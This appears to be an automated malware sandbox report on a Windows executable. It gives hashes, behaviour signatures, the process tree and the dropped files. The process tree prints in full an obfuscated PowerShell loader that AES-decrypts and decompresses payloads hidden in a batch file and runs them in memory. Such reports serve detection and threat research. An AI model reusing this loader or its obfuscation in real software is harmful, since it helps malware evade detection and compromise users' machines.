bf7d44466f19258fb2ef69b1b945e9795c2afaeeea01294a2c30d996a78b64ca

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
17/04/2023, 13:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 319KB
Sample230417-qrtcgsec98
SHA256 bf7d44466f19258fb2ef69b1b945e9795c2afaeeea01294a2c30d996a78b64ca
MD5 a8eb08ce490a300fc328bd9648eb6067
SHA1 79099ceaf41ffdf53ad3098627e7e9245dcec633
SHA512 0f6567ac0e5d5f7c92aadcdc0da3b06eb6bf060dc2faf4335f09bc3a7e74b6d663fed5043dfc38f5d2f2f5f27642af2cc131ad0b1ea53a1d178e2cc40351be8b
SSDEEP 6144:f9j76xnImFZ1MmF8QTU/urSinmX+t4YP8TfCPfQMvC6:1jOtvHMm5xvmX+t4YP8T6/K6
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1752	5.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
556	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1752	5.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1752	5.bat.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1156	DllHost.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1052 wrote to memory of 1840	1052	file.exe	28
PID 1052 wrote to memory of 1840	1052	file.exe	28
PID 1052 wrote to memory of 1840	1052	file.exe	28
PID 1052 wrote to memory of 1840	1052	file.exe	28
PID 1840 wrote to memory of 556	1840	cmd.exe	30
PID 1840 wrote to memory of 556	1840	cmd.exe	30
PID 1840 wrote to memory of 556	1840	cmd.exe	30
PID 1840 wrote to memory of 556	1840	cmd.exe	30
PID 556 wrote to memory of 1752	556	cmd.exe	32
PID 556 wrote to memory of 1752	556	cmd.exe	32
PID 556 wrote to memory of 1752	556	cmd.exe	32
PID 556 wrote to memory of 1752	556	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat"
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:556
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat.exe" -w hidden -c $fKjT='TrhxAqanhxAqsfohxAqrhxAqmFinhxAqalBhxAqlohxAqckhxAq'.Replace('hxAq', '');$bXtv='MhxAqaihxAqnhxAqMohxAqduhxAqlhxAqehxAq'.Replace('hxAq', '');$NFhf='LohxAqahxAqdhxAq'.Replace('hxAq', '');$jcVA='FihxAqrsthxAq'.Replace('hxAq', '');$qVOh='IhxAqnvhxAqokehxAq'.Replace('hxAq', '');$NNOV='SplihxAqthxAq'.Replace('hxAq', '');$Oqto='EhxAqnthxAqryPhxAqoinhxAqthxAq'.Replace('hxAq', '');$MZLw='ChhxAqanghxAqehxAqExhxAqtehxAqnshxAqiohxAqnhxAq'.Replace('hxAq', '');$efwW='GehxAqthxAqCuhxAqrrhxAqenthxAqPhxAqrocehxAqsshxAq'.Replace('hxAq', '');$DlBY='FrohxAqmhxAqBahxAqsehxAq64hxAqSthxAqrhxAqinghxAq'.Replace('hxAq', '');$IEyY='CrhxAqeahxAqthxAqehxAqDhxAqechxAqrypthxAqorhxAq'.Replace('hxAq', '');$vuRH='ReadhxAqLinehxAqshxAq'.Replace('hxAq', '');function wGpYM($nqpud){$rdybx=[System.Security.Cryptography.Aes]::Create();$rdybx.Mode=[System.Security.Cryptography.CipherMode]::CBC;$rdybx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$rdybx.Key=[System.Convert]::$DlBY('i/eUboJU88ca+XfzEiNvgR3ohk0GIheZO3zMh9UU59c=');$rdybx.IV=[System.Convert]::$DlBY('C1CctILYwj338KstRw+WwA==');$ZNFAw=$rdybx.$IEyY();$pDRUA=$ZNFAw.$fKjT($nqpud,0,$nqpud.Length);$ZNFAw.Dispose();$rdybx.Dispose();$pDRUA;}function CEAbX($nqpud){$oHtwv=New-Object System.IO.MemoryStream(,$nqpud);$sMhbJ=New-Object System.IO.MemoryStream;$RLgWn=New-Object System.IO.Compression.GZipStream($oHtwv,[IO.Compression.CompressionMode]::Decompress);$RLgWn.CopyTo($sMhbJ);$RLgWn.Dispose();$oHtwv.Dispose();$sMhbJ.Dispose();$sMhbJ.ToArray();}$LUDhs=[System.Linq.Enumerable]::$jcVA([System.IO.File]::$vuRH([System.IO.Path]::$MZLw([System.Diagnostics.Process]::$efwW().$bXtv.FileName, $null)));$uTtxU=$LUDhs.Substring(3).$NNOV(':');$JplvE=CEAbX (wGpYM ([Convert]::$DlBY($uTtxU[0])));$IZrQP=CEAbX (wGpYM ([Convert]::$DlBY($uTtxU[1])));[System.Reflection.Assembly]::$NFhf([byte[]]$IZrQP).$Oqto.$qVOh($null,$null);[System.Reflection.Assembly]::$NFhf([byte[]]$JplvE).$Oqto.$qVOh($null,$null);
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1752

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}
1⤵
- Suspicious use of FindShellTrayWindow
PID:1156

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat
Size 58KB
SHA256 5962c617fbab9ffbe0117ad72a221756217f4ba9f82af7f420a39506d23895d4
MD5 6fb76a1a249bd3fac45702ec9dd1737d
SHA1 bf0af38c7eb9c94af2e2417c4e4428064eb9f192
SHA512 80c33b13361655a0e16b136d399de8732e887ed5efa2f5da856fdc89f2b41940cb5841a37c9f153f7713b16863e0137809e2d2f0c471d2702f6d0881cb8df99a
SSDEEP 1536:uK2tN4BEs4GgalBuuMofW6ptRBDTWW/CPG7UzK:uKMmByG5lBZ9W6/rq+AK
MD5 SHA1 SHA512 SSDEEP

Submit Download

5.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat
Size 58KB
SHA256 5962c617fbab9ffbe0117ad72a221756217f4ba9f82af7f420a39506d23895d4
MD5 6fb76a1a249bd3fac45702ec9dd1737d
SHA1 bf0af38c7eb9c94af2e2417c4e4428064eb9f192
SHA512 80c33b13361655a0e16b136d399de8732e887ed5efa2f5da856fdc89f2b41940cb5841a37c9f153f7713b16863e0137809e2d2f0c471d2702f6d0881cb8df99a
SSDEEP 1536:uK2tN4BEs4GgalBuuMofW6ptRBDTWW/CPG7UzK:uKMmByG5lBZ9W6/rq+AK
MD5 SHA1 SHA512 SSDEEP

Submit Download

5.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat.exe
Size 442KB
SHA256 6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
MD5 92f44e405db16ac55d97e3bfe3b132fa
SHA1 04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA512 f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f
SSDEEP 6144:+FYRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqOm:dRZgQhIKXzJ4pdd3klnnWosPhnzqN
MD5 SHA1 SHA512 SSDEEP

Submit Download

pdf.ico

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\pdf.ico
Size 5KB
SHA256 8c5e2bb8e56e15c21c9d274d4bc5316aeffe43c0946fbba3c67e06e1e996ad12
MD5 68feed6782e2f199c5d073e2771eba54
SHA1 5f3bd172b657ef9c588c3e31886d92cd56844d49
SHA512 5eb41cd5b46015862e9382b0b7c7ba4e589903b3ccd5cf472e824970c023db4c6ca5efd57db44cbd190efcc36ed2b0a9dc572edde0a009185155a1f5fa3ee4fb
SSDEEP 96:l6dJ2MHCY4rx7GjXqlNDWFgYiIc6alvHJ4rTkf7/vImyOsjIB+XV6F:lciY497GbSDnXJ4rofrImyxMB+s
MD5 SHA1 SHA512 SSDEEP

Submit Download

5.bat.exe

Path \Users\Admin\AppData\Local\Temp\RarSFX0\5.bat.exe
Size 442KB
SHA256 6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
MD5 92f44e405db16ac55d97e3bfe3b132fa
SHA1 04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA512 f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f
SSDEEP 6144:+FYRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqOm:dRZgQhIKXzJ4pdd3klnnWosPhnzqN
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1052-78-0x0000000002390000-0x0000000002392000-memory.dmp

Download

memory/1156-79-0x00000000001B0000-0x00000000001B2000-memory.dmp

Download

memory/1156-80-0x0000000000250000-0x0000000000251000-memory.dmp

Download

memory/1156-84-0x0000000000250000-0x0000000000251000-memory.dmp

Download

memory/1752-81-0x00000000023B0000-0x00000000023F0000-memory.dmp

Download

memory/1752-82-0x00000000023B0000-0x00000000023F0000-memory.dmp

Download